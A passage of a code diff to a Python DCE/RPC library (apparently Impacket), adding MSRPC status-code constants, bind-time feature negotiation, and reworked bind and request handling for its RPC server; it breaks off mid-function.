+MSRPC_STATUS_CODE_RPC_S_INVALID_LOOKUP_CONTEXT = 0X16C9A0B8
+MSRPC_STATUS_CODE_RPC_S_BINDING_VECTOR_FULL = 0X16C9A0B9
+MSRPC_STATUS_CODE_RPC_S_CYCLE_DETECTED = 0X16C9A0BA
+MSRPC_STATUS_CODE_RPC_S_NOTHING_TO_EXPORT = 0X16C9A0BB
+MSRPC_STATUS_CODE_RPC_S_NOTHING_TO_UNEXPORT = 0X16C9A0BC
+MSRPC_STATUS_CODE_RPC_S_INVALID_VERS_OPTION = 0X16C9A0BD
+MSRPC_STATUS_CODE_RPC_S_NO_RPC_DATA = 0X16C9A0BE
+MSRPC_STATUS_CODE_RPC_S_MBR_PICKED = 0X16C9A0BF
+MSRPC_STATUS_CODE_RPC_S_NOT_ALL_OBJS_UNEXPORTED = 0X16C9A0C0
+MSRPC_STATUS_CODE_RPC_S_NO_ENTRY_NAME = 0X16C9A0C1
+MSRPC_STATUS_CODE_RPC_S_PRIORITY_GROUP_DONE = 0X16C9A0C2
+MSRPC_STATUS_CODE_RPC_S_PARTIAL_RESULTS = 0X16C9A0C3
+MSRPC_STATUS_CODE_RPC_S_NO_ENV_SETUP = 0X16C9A0C4
+MSRPC_STATUS_CODE_TWR_S_UNKNOWN_SA = 0X16C9A0C5
+MSRPC_STATUS_CODE_TWR_S_UNKNOWN_TOWER = 0X16C9A0C6
+MSRPC_STATUS_CODE_TWR_S_NOT_IMPLEMENTED = 0X16C9A0C7
+MSRPC_STATUS_CODE_RPC_S_MAX_CALLS_TOO_SMALL = 0X16C9A0C8
+MSRPC_STATUS_CODE_RPC_S_CTHREAD_CREATE_FAILED = 0X16C9A0C9
+MSRPC_STATUS_CODE_RPC_S_CTHREAD_POOL_EXISTS = 0X16C9A0CA
+MSRPC_STATUS_CODE_RPC_S_CTHREAD_NO_SUCH_POOL = 0X16C9A0CB
+MSRPC_STATUS_CODE_RPC_S_CTHREAD_INVOKE_DISABLED = 0X16C9A0CC
+MSRPC_STATUS_CODE_EPT_S_CANT_PERFORM_OP = 0X16C9A0CD
+MSRPC_STATUS_CODE_EPT_S_NO_MEMORY = 0X16C9A0CE
+MSRPC_STATUS_CODE_EPT_S_DATABASE_INVALID = 0X16C9A0CF
+MSRPC_STATUS_CODE_EPT_S_CANT_CREATE = 0X16C9A0D0
+MSRPC_STATUS_CODE_EPT_S_CANT_ACCESS = 0X16C9A0D1
+MSRPC_STATUS_CODE_EPT_S_DATABASE_ALREADY_OPEN = 0X16C9A0D2
+MSRPC_STATUS_CODE_EPT_S_INVALID_ENTRY = 0X16C9A0D3
+MSRPC_STATUS_CODE_EPT_S_UPDATE_FAILED = 0X16C9A0D4
+MSRPC_STATUS_CODE_EPT_S_INVALID_CONTEXT = 0X16C9A0D5
+MSRPC_STATUS_CODE_EPT_S_NOT_REGISTERED = 0X16C9A0D6
+MSRPC_STATUS_CODE_EPT_S_SERVER_UNAVAILABLE = 0X16C9A0D7
+MSRPC_STATUS_CODE_RPC_S_UNDERSPECIFIED_NAME = 0X16C9A0D8
+MSRPC_STATUS_CODE_RPC_S_INVALID_NS_HANDLE = 0X16C9A0D9
+MSRPC_STATUS_CODE_RPC_S_UNKNOWN_ERROR = 0X16C9A0DA
+MSRPC_STATUS_CODE_RPC_S_SS_CHAR_TRANS_OPEN_FAIL = 0X16C9A0DB
+MSRPC_STATUS_CODE_RPC_S_SS_CHAR_TRANS_SHORT_FILE = 0X16C9A0DC
+MSRPC_STATUS_CODE_RPC_S_SS_CONTEXT_DAMAGED = 0X16C9A0DD
+MSRPC_STATUS_CODE_RPC_S_SS_IN_NULL_CONTEXT = 0X16C9A0DE
+MSRPC_STATUS_CODE_RPC_S_SOCKET_FAILURE = 0X16C9A0DF
+MSRPC_STATUS_CODE_RPC_S_UNSUPPORTED_PROTECT_LEVEL = 0X16C9A0E0
+MSRPC_STATUS_CODE_RPC_S_INVALID_CHECKSUM = 0X16C9A0E1
+MSRPC_STATUS_CODE_RPC_S_INVALID_CREDENTIALS = 0X16C9A0E2
+MSRPC_STATUS_CODE_RPC_S_CREDENTIALS_TOO_LARGE = 0X16C9A0E3
+MSRPC_STATUS_CODE_RPC_S_CALL_ID_NOT_FOUND = 0X16C9A0E4
+MSRPC_STATUS_CODE_RPC_S_KEY_ID_NOT_FOUND = 0X16C9A0E5
+MSRPC_STATUS_CODE_RPC_S_AUTH_BAD_INTEGRITY = 0X16C9A0E6
+MSRPC_STATUS_CODE_RPC_S_AUTH_TKT_EXPIRED = 0X16C9A0E7
+MSRPC_STATUS_CODE_RPC_S_AUTH_TKT_NYV = 0X16C9A0E8
+MSRPC_STATUS_CODE_RPC_S_AUTH_REPEAT = 0X16C9A0E9
+MSRPC_STATUS_CODE_RPC_S_AUTH_NOT_US = 0X16C9A0EA
+MSRPC_STATUS_CODE_RPC_S_AUTH_BADMATCH = 0X16C9A0EB
+MSRPC_STATUS_CODE_RPC_S_AUTH_SKEW = 0X16C9A0EC
+MSRPC_STATUS_CODE_RPC_S_AUTH_BADADDR = 0X16C9A0ED
+MSRPC_STATUS_CODE_RPC_S_AUTH_BADVERSION = 0X16C9A0EE
+MSRPC_STATUS_CODE_RPC_S_AUTH_MSG_TYPE = 0X16C9A0EF
+MSRPC_STATUS_CODE_RPC_S_AUTH_MODIFIED = 0X16C9A0F0
+MSRPC_STATUS_CODE_RPC_S_AUTH_BADORDER = 0X16C9A0F1
+MSRPC_STATUS_CODE_RPC_S_AUTH_BADKEYVER = 0X16C9A0F2
+MSRPC_STATUS_CODE_RPC_S_AUTH_NOKEY = 0X16C9A0F3
+MSRPC_STATUS_CODE_RPC_S_AUTH_MUT_FAIL = 0X16C9A0F4
+MSRPC_STATUS_CODE_RPC_S_AUTH_BADDIRECTION = 0X16C9A0F5
+MSRPC_STATUS_CODE_RPC_S_AUTH_METHOD = 0X16C9A0F6
+MSRPC_STATUS_CODE_RPC_S_AUTH_BADSEQ = 0X16C9A0F7
+MSRPC_STATUS_CODE_RPC_S_AUTH_INAPP_CKSUM = 0X16C9A0F8
+MSRPC_STATUS_CODE_RPC_S_AUTH_FIELD_TOOLONG = 0X16C9A0F9
+MSRPC_STATUS_CODE_RPC_S_INVALID_CRC = 0X16C9A0FA
+MSRPC_STATUS_CODE_RPC_S_BINDING_INCOMPLETE = 0X16C9A0FB
+MSRPC_STATUS_CODE_RPC_S_KEY_FUNC_NOT_ALLOWED = 0X16C9A0FC
+MSRPC_STATUS_CODE_RPC_S_UNKNOWN_STUB_RTL_IF_VERS = 0X16C9A0FD
+MSRPC_STATUS_CODE_RPC_S_UNKNOWN_IFSPEC_VERS = 0X16C9A0FE
+MSRPC_STATUS_CODE_RPC_S_PROTO_UNSUPP_BY_AUTH = 0X16C9A0FF
+MSRPC_STATUS_CODE_RPC_S_AUTHN_CHALLENGE_MALFORMED = 0X16C9A100
+MSRPC_STATUS_CODE_RPC_S_PROTECT_LEVEL_MISMATCH = 0X16C9A101
+MSRPC_STATUS_CODE_RPC_S_NO_MEPV = 0X16C9A102
+MSRPC_STATUS_CODE_RPC_S_STUB_PROTOCOL_ERROR = 0X16C9A103
+MSRPC_STATUS_CODE_RPC_S_CLASS_VERSION_MISMATCH = 0X16C9A104
+MSRPC_STATUS_CODE_RPC_S_HELPER_NOT_RUNNING = 0X16C9A105
+MSRPC_STATUS_CODE_RPC_S_HELPER_SHORT_READ = 0X16C9A106
+MSRPC_STATUS_CODE_RPC_S_HELPER_CATATONIC = 0X16C9A107
+MSRPC_STATUS_CODE_RPC_S_HELPER_ABORTED = 0X16C9A108
+MSRPC_STATUS_CODE_RPC_S_NOT_IN_KERNEL = 0X16C9A109
+MSRPC_STATUS_CODE_RPC_S_HELPER_WRONG_USER = 0X16C9A10A
+MSRPC_STATUS_CODE_RPC_S_HELPER_OVERFLOW = 0X16C9A10B
+MSRPC_STATUS_CODE_RPC_S_DG_NEED_WAY_AUTH = 0X16C9A10C
+MSRPC_STATUS_CODE_RPC_S_UNSUPPORTED_AUTH_SUBTYPE = 0X16C9A10D
+MSRPC_STATUS_CODE_RPC_S_WRONG_PICKLE_TYPE = 0X16C9A10E
+MSRPC_STATUS_CODE_RPC_S_NOT_LISTENING = 0X16C9A10F
+MSRPC_STATUS_CODE_RPC_S_SS_BAD_BUFFER = 0X16C9A110
+MSRPC_STATUS_CODE_RPC_S_SS_BAD_ES_ACTION = 0X16C9A111
+MSRPC_STATUS_CODE_RPC_S_SS_WRONG_ES_VERSION = 0X16C9A112
+MSRPC_STATUS_CODE_RPC_S_FAULT_USER_DEFINED = 0X16C9A113
+MSRPC_STATUS_CODE_RPC_S_SS_INCOMPATIBLE_CODESETS = 0X16C9A114
+MSRPC_STATUS_CODE_RPC_S_TX_NOT_IN_TRANSACTION = 0X16C9A115
+MSRPC_STATUS_CODE_RPC_S_TX_OPEN_FAILED = 0X16C9A116
+MSRPC_STATUS_CODE_RPC_S_PARTIAL_CREDENTIALS = 0X16C9A117
+MSRPC_STATUS_CODE_RPC_S_SS_INVALID_CODESET_TAG = 0X16C9A118
+MSRPC_STATUS_CODE_RPC_S_MGMT_BAD_TYPE = 0X16C9A119
+MSRPC_STATUS_CODE_RPC_S_SS_INVALID_CHAR_INPUT = 0X16C9A11A
+MSRPC_STATUS_CODE_RPC_S_SS_SHORT_CONV_BUFFER = 0X16C9A11B
+MSRPC_STATUS_CODE_RPC_S_SS_ICONV_ERROR = 0X16C9A11C
+MSRPC_STATUS_CODE_RPC_S_SS_NO_COMPAT_CODESET = 0X16C9A11D
+MSRPC_STATUS_CODE_RPC_S_SS_NO_COMPAT_CHARSETS = 0X16C9A11E
+MSRPC_STATUS_CODE_DCE_CS_C_OK = 0X16C9A11F
+MSRPC_STATUS_CODE_DCE_CS_C_UNKNOWN = 0X16C9A120
+MSRPC_STATUS_CODE_DCE_CS_C_NOTFOUND = 0X16C9A121
+MSRPC_STATUS_CODE_DCE_CS_C_CANNOT_OPEN_FILE = 0X16C9A122
+MSRPC_STATUS_CODE_DCE_CS_C_CANNOT_READ_FILE = 0X16C9A123
+MSRPC_STATUS_CODE_DCE_CS_C_CANNOT_ALLOCATE_MEMORY = 0X16C9A124
+MSRPC_STATUS_CODE_RPC_S_SS_CLEANUP_FAILED = 0X16C9A125
+MSRPC_STATUS_CODE_RPC_SVC_DESC_GENERAL = 0X16C9A126
+MSRPC_STATUS_CODE_RPC_SVC_DESC_MUTEX = 0X16C9A127
+MSRPC_STATUS_CODE_RPC_SVC_DESC_XMIT = 0X16C9A128
+MSRPC_STATUS_CODE_RPC_SVC_DESC_RECV = 0X16C9A129
+MSRPC_STATUS_CODE_RPC_SVC_DESC_DG_STATE = 0X16C9A12A
+MSRPC_STATUS_CODE_RPC_SVC_DESC_CANCEL = 0X16C9A12B
+MSRPC_STATUS_CODE_RPC_SVC_DESC_ORPHAN = 0X16C9A12C
+MSRPC_STATUS_CODE_RPC_SVC_DESC_CN_STATE = 0X16C9A12D
+MSRPC_STATUS_CODE_RPC_SVC_DESC_CN_PKT = 0X16C9A12E
+MSRPC_STATUS_CODE_RPC_SVC_DESC_PKT_QUOTAS = 0X16C9A12F
+MSRPC_STATUS_CODE_RPC_SVC_DESC_AUTH = 0X16C9A130
+MSRPC_STATUS_CODE_RPC_SVC_DESC_SOURCE = 0X16C9A131
+MSRPC_STATUS_CODE_RPC_SVC_DESC_STATS = 0X16C9A132
+MSRPC_STATUS_CODE_RPC_SVC_DESC_MEM = 0X16C9A133
+MSRPC_STATUS_CODE_RPC_SVC_DESC_MEM_TYPE = 0X16C9A134
+MSRPC_STATUS_CODE_RPC_SVC_DESC_DG_PKTLOG = 0X16C9A135
+MSRPC_STATUS_CODE_RPC_SVC_DESC_THREAD_ID = 0X16C9A136
+MSRPC_STATUS_CODE_RPC_SVC_DESC_TIMESTAMP = 0X16C9A137
+MSRPC_STATUS_CODE_RPC_SVC_DESC_CN_ERRORS = 0X16C9A138
+MSRPC_STATUS_CODE_RPC_SVC_DESC_CONV_THREAD = 0X16C9A139
+MSRPC_STATUS_CODE_RPC_SVC_DESC_PID = 0X16C9A13A
+MSRPC_STATUS_CODE_RPC_SVC_DESC_ATFORK = 0X16C9A13B
+MSRPC_STATUS_CODE_RPC_SVC_DESC_CMA_THREAD = 0X16C9A13C
+MSRPC_STATUS_CODE_RPC_SVC_DESC_INHERIT = 0X16C9A13D
+MSRPC_STATUS_CODE_RPC_SVC_DESC_DG_SOCKETS = 0X16C9A13E
+MSRPC_STATUS_CODE_RPC_SVC_DESC_TIMER = 0X16C9A13F
+MSRPC_STATUS_CODE_RPC_SVC_DESC_THREADS = 0X16C9A140
+MSRPC_STATUS_CODE_RPC_SVC_DESC_SERVER_CALL = 0X16C9A141
+MSRPC_STATUS_CODE_RPC_SVC_DESC_NSI = 0X16C9A142
+MSRPC_STATUS_CODE_RPC_SVC_DESC_DG_PKT = 0X16C9A143
+MSRPC_STATUS_CODE_RPC_M_CN_ILL_STATE_TRANS_SA = 0X16C9A144
+MSRPC_STATUS_CODE_RPC_M_CN_ILL_STATE_TRANS_CA = 0X16C9A145
+MSRPC_STATUS_CODE_RPC_M_CN_ILL_STATE_TRANS_SG = 0X16C9A146
+MSRPC_STATUS_CODE_RPC_M_CN_ILL_STATE_TRANS_CG = 0X16C9A147
+MSRPC_STATUS_CODE_RPC_M_CN_ILL_STATE_TRANS_SR = 0X16C9A148
+MSRPC_STATUS_CODE_RPC_M_CN_ILL_STATE_TRANS_CR = 0X16C9A149
+MSRPC_STATUS_CODE_RPC_M_BAD_PKT_TYPE = 0X16C9A14A
+MSRPC_STATUS_CODE_RPC_M_PROT_MISMATCH = 0X16C9A14B
+MSRPC_STATUS_CODE_RPC_M_FRAG_TOOBIG = 0X16C9A14C
+MSRPC_STATUS_CODE_RPC_M_UNSUPP_STUB_RTL_IF = 0X16C9A14D
+MSRPC_STATUS_CODE_RPC_M_UNHANDLED_CALLSTATE = 0X16C9A14E
+MSRPC_STATUS_CODE_RPC_M_CALL_FAILED = 0X16C9A14F
+MSRPC_STATUS_CODE_RPC_M_CALL_FAILED_NO_STATUS = 0X16C9A150
+MSRPC_STATUS_CODE_RPC_M_CALL_FAILED_ERRNO = 0X16C9A151
+MSRPC_STATUS_CODE_RPC_M_CALL_FAILED_S = 0X16C9A152
+MSRPC_STATUS_CODE_RPC_M_CALL_FAILED_C = 0X16C9A153
+MSRPC_STATUS_CODE_RPC_M_ERRMSG_TOOBIG = 0X16C9A154
+MSRPC_STATUS_CODE_RPC_M_INVALID_SRCHATTR = 0X16C9A155
+MSRPC_STATUS_CODE_RPC_M_NTS_NOT_FOUND = 0X16C9A156
+MSRPC_STATUS_CODE_RPC_M_INVALID_ACCBYTCNT = 0X16C9A157
+MSRPC_STATUS_CODE_RPC_M_PRE_V2_IFSPEC = 0X16C9A158
+MSRPC_STATUS_CODE_RPC_M_UNK_IFSPEC = 0X16C9A159
+MSRPC_STATUS_CODE_RPC_M_RECVBUF_TOOSMALL = 0X16C9A15A
+MSRPC_STATUS_CODE_RPC_M_UNALIGN_AUTHTRL = 0X16C9A15B
+MSRPC_STATUS_CODE_RPC_M_UNEXPECTED_EXC = 0X16C9A15C
+MSRPC_STATUS_CODE_RPC_M_NO_STUB_DATA = 0X16C9A15D
+MSRPC_STATUS_CODE_RPC_M_EVENTLIST_FULL = 0X16C9A15E
+MSRPC_STATUS_CODE_RPC_M_UNK_SOCK_TYPE = 0X16C9A15F
+MSRPC_STATUS_CODE_RPC_M_UNIMP_CALL = 0X16C9A160
+MSRPC_STATUS_CODE_RPC_M_INVALID_SEQNUM = 0X16C9A161
+MSRPC_STATUS_CODE_RPC_M_CANT_CREATE_UUID = 0X16C9A162
+MSRPC_STATUS_CODE_RPC_M_PRE_V2_SS = 0X16C9A163
+MSRPC_STATUS_CODE_RPC_M_DGPKT_POOL_CORRUPT = 0X16C9A164
+MSRPC_STATUS_CODE_RPC_M_DGPKT_BAD_FREE = 0X16C9A165
+MSRPC_STATUS_CODE_RPC_M_LOOKASIDE_CORRUPT = 0X16C9A166
+MSRPC_STATUS_CODE_RPC_M_ALLOC_FAIL = 0X16C9A167
+MSRPC_STATUS_CODE_RPC_M_REALLOC_FAIL = 0X16C9A168
+MSRPC_STATUS_CODE_RPC_M_CANT_OPEN_FILE = 0X16C9A169
+MSRPC_STATUS_CODE_RPC_M_CANT_READ_ADDR = 0X16C9A16A
+MSRPC_STATUS_CODE_RPC_SVC_DESC_LIBIDL = 0X16C9A16B
+MSRPC_STATUS_CODE_RPC_M_CTXRUNDOWN_NOMEM = 0X16C9A16C
+MSRPC_STATUS_CODE_RPC_M_CTXRUNDOWN_EXC = 0X16C9A16D
+MSRPC_STATUS_CODE_RPC_S_FAULT_CODESET_CONV_ERROR = 0X16C9A16E
+MSRPC_STATUS_CODE_RPC_S_NO_CALL_ACTIVE = 0X16C9A16F
+MSRPC_STATUS_CODE_RPC_S_CANNOT_SUPPORT = 0X16C9A170
+MSRPC_STATUS_CODE_RPC_S_NO_CONTEXT_AVAILABLE = 0X16C9A171
+
+# Bind Time Feature Negotiation:
+# [MS-RPCE] 3.3.1.5.3
+MSRPC_BIND_TIME_FEATURE_NEGOTIATION_PREFIX = "6CB71C2C-9812-4540-"
+MSRPC_BIND_TIME_FEATURE_NEGOTIATION_SECURITY_CONTEXT_MULTIPLEXING_SUPPORTED_BITMASK = 0x01
+MSRPC_BIND_TIME_FEATURE_NEGOTIATION_KEEP_CONNECTION_ON_ORPHAN_SUPPORTED_BITMASK = 0x02
+
+MSRPC_STANDARD_NDR_SYNTAX = ('8A885D04-1CEB-11C9-9FE8-08002B104860', '2.0')
+
class DCERPCException(Exception):
"""
This is the exception every client should catch regardless of the underlying
@@ -598,6 +1052,11 @@ class CtxItemResult(Structure):
('TransferSyntax','20s=""'),
)
+ def __init__(self, data = None, alignment = 0):
+ Structure.__init__(self,data, alignment)
+ if data is None:
+ self['Reason'] = b''
+
class SEC_TRAILER(Structure):
commonHdr = (
('auth_type', 'B=10'),
@@ -607,6 +1066,15 @@ class SEC_TRAILER(Structure):
('auth_ctx_id','<L=747920'),
)
+ def __init__(self, data = None, alignment = 0):
+ Structure.__init__(self,data, alignment)
+ if data is None:
+ self['auth_type'] = RPC_C_AUTHN_GSS_NEGOTIATE
+ self['auth_level'] = RPC_C_AUTHN_LEVEL_CONNECT
+ self['auth_pad_len'] = 0
+ self['auth_rsvrd'] = 0
+ self['auth_ctx_id'] = 0x747920
+
class MSRPCHeader(Structure):
_SIZE = 16
commonHdr = (
@@ -692,7 +1160,7 @@ class MSRPCRespHeader(MSRPCHeader):
class MSRPCBind(Structure):
_CTX_ITEM_LEN = len(CtxItem())
- structure = (
+ structure = (
('max_tfrag','<H=4280'),
('max_rfrag','<H=4280'),
('assoc_group','<L=0'),
@@ -702,8 +1170,9 @@ class MSRPCBind(Structure):
('_ctx_items', '_-ctx_items', 'self["ctx_num"]*self._CTX_ITEM_LEN'),
('ctx_items',':'),
)
-
+
def __init__(self, data = None, alignment = 0):
+ self.__ctx_items = []
Structure.__init__(self, data, alignment)
if data is None:
self['max_tfrag'] = 4280
@@ -711,10 +1180,15 @@ class MSRPCBind(Structure):
self['assoc_group'] = 0
self['ctx_num'] = 1
self['ctx_items'] = b''
- self.__ctx_items = []
def addCtxItem(self, item):
self.__ctx_items.append(item)
+
+ def getCtxItems(self):
+ return self.__ctx_items
+
+ def getCtxItem(self,index):
+ return self.__ctx_items[index-1]
def getData(self):
self['ctx_num'] = len(self.__ctx_items)
@@ -722,14 +1196,23 @@ class MSRPCBind(Structure):
self['ctx_items'] += i.getData()
return Structure.getData(self)
-class MSRPCBindAck(MSRPCHeader):
+ def fromString(self, data):
+ Structure.fromString(self,data)
+ # Parse the ctx_items
+ data = self['ctx_items']
+ for i in range(self['ctx_num']):
+ item = CtxItem(data)
+ self.__ctx_items.append(item)
+ data = data[len(item):]
+
+class MSRPCBindAck(Structure):
_SIZE = 26 # Up to SecondaryAddr
_CTX_ITEM_LEN = len(CtxItemResult())
structure = (
('max_tfrag','<H=0'),
('max_rfrag','<H=0'),
('assoc_group','<L=0'),
- ('SecondaryAddrLen','<H&SecondaryAddr'),
+ ('SecondaryAddrLen','<H=&SecondaryAddr'),
('SecondaryAddr','z'), # Optional if SecondaryAddrLen == 0
('PadLen','_-Pad','(4-((self["SecondaryAddrLen"]+self._SIZE) % 4))%4'),
('Pad',':'),
@@ -737,20 +1220,23 @@ class MSRPCBindAck(MSRPCHeader):
('Reserved','B=0'),
('Reserved2','<H=0'),
('_ctx_items','_-ctx_items','self["ctx_num"]*self._CTX_ITEM_LEN'),
- ('ctx_items',':'),
- ('_sec_trailer', '_-sec_trailer', '8 if self["auth_len"] > 0 else 0'),
- ('sec_trailer',':'),
- ('auth_dataLen','_-auth_data','self["auth_len"]'),
- ('auth_data',':'),
+ ('ctx_items',':')
)
def __init__(self, data = None, alignment = 0):
self.__ctx_items = []
- MSRPCHeader.__init__(self,data,alignment)
+ Structure.__init__(self,data,alignment)
if data is None:
+ self['max_tfrag'] = 4280
+ self['max_rfrag'] = 4280
+ self['assoc_group'] = 0x1234
+ # self['SecondaryAddrLen'] = 0
+ # self['SecondaryAddr'] = ""
self['Pad'] = b''
self['ctx_items'] = b''
- self['sec_trailer'] = b''
- self['auth_data'] = b''
+ self['ctx_num'] = 0
+
+ def addCtxItem(self, item):
+ self.__ctx_items.append(item)
def getCtxItems(self):
return self.__ctx_items
@@ -758,6 +1244,14 @@ class MSRPCBindAck(MSRPCHeader):
def getCtxItem(self,index):
return self.__ctx_items[index-1]
+ def getData(self):
+ self['SecondaryAddrLen'] = len(self["SecondaryAddr"])+1
+ self['Pad'] = '\x00'*((4-((self["SecondaryAddrLen"]+self._SIZE) % 4)) % 4)
+ self['ctx_num'] = len(self.__ctx_items)
+ for i in self.__ctx_items:
+ self['ctx_items'] += i.getData()
+ return Structure.getData(self)
+
def fromString(self, data):
Structure.fromString(self,data)
# Parse the ctx_items
@@ -918,6 +1412,9 @@ class DCERPC_v5(DCERPC):
self.__confounder = b''
self.__gss = None
+ def set_call_id(self, call_id):
+ self.__callid = call_id
+
def set_session_key(self, session_key):
self.__sessionKey = session_key
@@ -1036,7 +1533,7 @@ class DCERPC_v5(DCERPC):
return 0 #mmm why not None?
if resp['type'] == MSRPC_BINDACK or resp['type'] == MSRPC_ALTERCTX_R:
- bindResp = MSRPCBindAck(resp.getData())
+ bindResp = MSRPCBindAck(resp['pduData'])
elif resp['type'] == MSRPC_BINDNAK or resp['type'] == MSRPC_FAULT:
if resp['type'] == MSRPC_FAULT:
resp = MSRPCRespHeader(resp.getData())
@@ -1051,7 +1548,7 @@ class DCERPC_v5(DCERPC):
else:
raise DCERPCException('Unknown DCE RPC fault status code: %.8x' % status_code)
else:
- raise DCERPCException('Unknown DCE RPC packet type received: %d' % resp['type'])
+ raise DCERPCException('Unknown DCE RPC packet type received: %.2x' % resp['type'])
# check ack results for each context, except for the bogus ones
for ctx in range(bogus_binds+1,bindResp['ctx_num']+1):
@@ -1060,7 +1557,7 @@ class DCERPC_v5(DCERPC):
msg = "Bind context %d rejected: " % ctx
msg += rpc_cont_def_result.get(ctxItems['Result'], 'Unknown DCE RPC context result code: %.4x' % ctxItems['Result'])
msg += "; "
- reason = bindResp.getCtxItem(ctx)['Reason']
+ reason = ctxItems['Reason']
msg += rpc_provider_reason.get(reason, 'Unknown reason code: %.4x' % reason)
if (ctxItems['Result'], reason) == (2, 1): # provider_rejection, abstract syntax not supported
msg += " (this usually means the interface isn't listening on the given endpoint)"
@@ -1074,7 +1571,7 @@ class DCERPC_v5(DCERPC):
if self.__auth_level != RPC_C_AUTHN_LEVEL_NONE:
if self.__auth_type == RPC_C_AUTHN_WINNT:
- response, self.__sessionKey = ntlm.getNTLMSSPType3(auth, bindResp['auth_data'], self.__username,
+ response, self.__sessionKey = ntlm.getNTLMSSPType3(auth, resp['auth_data'], self.__username,
self.__password, self.__domain, self.__lmhash,
self.__nthash,
use_ntlmv2=self._transport.doesSupportNTLMv2())
@@ -1084,7 +1581,7 @@ class DCERPC_v5(DCERPC):
elif self.__auth_type == RPC_C_AUTHN_GSS_NEGOTIATE:
self.__cipher, self.__sessionKey, response = kerberosv5.getKerberosType3(self.__cipher,
self.__sessionKey,
- bindResp['auth_data'])
+ resp['auth_data'])
self.__sequence = 0
@@ -1163,7 +1660,7 @@ class DCERPC_v5(DCERPC):
sec_trailer['auth_type'] = self.__auth_type
sec_trailer['auth_level'] = self.__auth_level
sec_trailer['auth_pad_len'] = 0
- sec_trailer['auth_ctx_id'] = self._ctx + 79231
+ sec_trailer['auth_ctx_id'] = self._ctx + 79231
pad = (4 - (len(rpc_packet.get_packet()) % 4)) % 4
if pad != 0:
@@ -1498,6 +1995,19 @@ class DCERPCServer(Thread):
self._sock = socket.socket()
self._sock.bind((self._listenAddress,self._listenPort))
+ # We add this constructor in order to use this to use the class as a transport, but not rely on its sockets
+ def __init__(self, client_socket):
+ self._clientSock = client_socket
+ self._listenUUIDS = {}
+ self._boundUUID = b''
+ self._callid = 1
+ self._max_frag = None
+ self._max_xmit_size = 4280
+ self.__log = LOG
+
+ def set_client_socket(self, client_socket):
+ self._clientSock =client_socket
+
def log(self, msg, level=logging.INFO):
self.__log.log(level,msg)
@@ -1522,6 +2032,9 @@ class DCERPCServer(Thread):
def getListenPort(self):
return self._sock.getsockname()[1]
+ def setClientSock(self, sock):
+ self._clientSock = sock
+
def recv(self):
finished = False
retAnswer = b''
@@ -1602,86 +2115,75 @@ class DCERPCServer(Thread):
self._callid += 1
def bind(self,packet, bind):
- # Standard NDR Representation
- NDRSyntax = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
resp = MSRPCBindAck()
- resp['type'] = MSRPC_BINDACK
- resp['flags'] = packet['flags']
- resp['frag_len'] = 0
- resp['auth_len'] = 0
- resp['auth_data'] = b''
- resp['call_id'] = packet['call_id']
resp['max_tfrag'] = bind['max_tfrag']
resp['max_rfrag'] = bind['max_rfrag']
resp['assoc_group'] = 0x1234
- resp['ctx_num'] = 0
- data = bind['ctx_items']
- ctx_items = b''
- resp['SecondaryAddrLen'] = 0
- for i in range(bind['ctx_num']):
+ for ctxItem in bind.getCtxItems():
result = MSRPC_CONT_RESULT_USER_REJECT
- item = CtxItem(data)
- data = data[len(item):]
-
+ transferSyntax = uuidtup_to_bin(MSRPC_STANDARD_NDR_SYNTAX)
+
+ syntax, version = bin_to_uuidtup(ctxItem['TransferSyntax'])
+ # Answer to Bind Time Feature Negotiation Request
+ if syntax.startswith(MSRPC_BIND_TIME_FEATURE_NEGOTIATION_PREFIX) and version == "1.0":
+ result = MSRPC_CONT_RESULT_NEGOTIATE_ACK
+ reason = 3
+ transferSyntax = "\x00" * 20
# First we check the Transfer Syntax is NDR32, what we support
- if item['TransferSyntax'] == uuidtup_to_bin(NDRSyntax):
+ elif (syntax, version) == MSRPC_STANDARD_NDR_SYNTAX:
# Now Check if the interface is what we listen
reason = 1 # Default, Abstract Syntax not supported
for j in self._listenUUIDS:
- if item['AbstractSyntax'] == j:
+ if ctxItem['AbstractSyntax'] == j:
# Match, we accept the bind request
- resp['SecondaryAddr'] = self._listenUUIDS[item['AbstractSyntax']]['SecondaryAddr']
- resp['SecondaryAddrLen'] = len(resp['SecondaryAddr'])+1
+ resp['SecondaryAddr'] = self._listenUUIDS[ctxItem['AbstractSyntax']]['SecondaryAddr']
reason = 0
self._boundUUID = j
else:
# Fail the bind request for this context
reason = 2 # Transfer Syntax not supported
+
if reason == 0:
- result = MSRPC_CONT_RESULT_ACCEPT
+ result = MSRPC_CONT_RESULT_ACCEPT
if reason == 1:
- LOG.error('Bind request for an unsupported interface %s' % bin_to_uuidtup(item['AbstractSyntax']))
+ LOG.error('Bind request for an unsupported interface %s' % bin_to_string(ctxItem['AbstractSyntax']))
- resp['ctx_num'] += 1
itemResult = CtxItemResult()
itemResult['Result'] = result
itemResult['Reason'] = reason
- itemResult['TransferSyntax'] = uuidtup_to_bin(NDRSyntax)
- ctx_items += itemResult.getData()
-
- resp['Pad'] ='A'*((4-((resp["SecondaryAddrLen"]+MSRPCBindAck._SIZE) % 4))%4)
- resp['ctx_items'] = ctx_items
- resp['frag_len'] = len(resp.getData())
+ itemResult['TransferSyntax'] = uuidtup_to_bin(MSRPC_STANDARD_NDR_SYNTAX)
+ resp.addCtxItem(itemResult)
- self._clientSock.send(resp.getData())
- return None
+ return resp
def processRequest(self,data):
packet = MSRPCHeader(data)
if packet['type'] == MSRPC_BIND:
- bind = MSRPCBind(packet['pduData'])
- self.bind(packet, bind)
- packet = None
+ bind = MSRPCBind(packet['pduData'])
+ response = MSRPCHeader()
+ response['type'] = MSRPC_BINDACK
+ response['pduData'] = self.bind(packet, bind).getData()
elif packet['type'] == MSRPC_REQUEST:
request = MSRPCRequestHeader(data)
- response = MSRPCRespHeader(data)
+ response = MSRPCRespHeader()
response['type'] = MSRPC_RESPONSE
# Serve the opnum requested, if not, fails
- if request['op_num'] in self._listenUUIDS[self._boundUUID]['CallBacks']:
+ if self._boundUUID in self._listenUUIDS and request['op_num'] in self._listenUUIDS[self._boundUUID]['CallBacks']:
# Call the function
returnData = self._listenUUIDS[self._boundUUID]['CallBacks'][request['op_num']](request['pduData'])
+ response['ctx_id'] = request['ctx_id']
response['pduData'] = returnData
else:
LOG.error('Unsupported DCERPC opnum %d called for interface %s' % (request['op_num'], bin_to_uuidtup(self._boundUUID)))
response['type'] = MSRPC_FAULT
response['pduData'] = pack('<L',0x000006E4)
- response['frag_len'] = len(response)
- return response
else:
# Defaults to a fault
- packet = MSRPCRespHeader(data)
- packet['type'] = MSRPC_FAULT
+ response = MSRPCHeader()
